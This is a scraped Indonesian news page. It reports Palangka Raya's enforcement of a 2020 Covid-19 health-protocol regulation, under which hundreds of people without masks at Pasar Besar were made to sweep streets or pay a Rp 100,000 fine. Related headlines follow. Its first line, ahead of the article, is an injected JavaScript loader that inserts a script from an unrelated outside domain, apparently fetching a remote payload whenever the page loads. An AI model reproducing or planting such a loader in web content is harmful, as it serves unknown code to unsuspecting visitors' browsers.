(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA —Terhitung 14 September 2020, Pemko Palangka Raya resmi memberlakukan peraturan wali kota (Perwali) nomor 26 tahun 2020, tentang penerapan disiplin dan penegakan hukum protokol kesehatan dalam rangka percepatan penanganan Covid-19 dan pemulihan ekonomi.
Namun belum sehari penerapan Perwali, ratusan orang terjaring karena melanggar protokol kesehatan personal tidak memakai masker. Hal itu ditemui Tim Satuan tugas (Satgas) penanganan Covid-19, melakukan penyisiran dan razia di kawasan Pasar Besar Palangka Raya, Senin (14/9).
Kendati sempat tidak terima, akhirnya mereka hanya bisa pasrah untuk didata dan dikenakan sanksi berupa kerja sosial menyapu jalan ataupun denda Rp 100 Ribu.
Dari ratusan yang terjaring, kebanyakan yang terjaring memilih sanksi sosial menyapu jalan, daripada denda administrasi sebesar Rp 100 ribu.
Dengan mengenakan rompi berwarna oranye bertuliskan pelanggar protokol kesehatan, para pelanggar terlihat mulai menyapu jalan.
Dalam Perwali sanksi kerja sosial antara lain menyapu jalan umum dengan waktu paling sedikit dua jam dan paling lama selama seminggu setiap hari untuk pelanggar yang berulang.
Kemudian menjadi relawan pada satuan tugas penanganan Covid-19 selama tiga hari ataupun membersihkan fasilitas umum atau fasilitas sosial selama satu hari. (kanalkalimantan.com/tri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.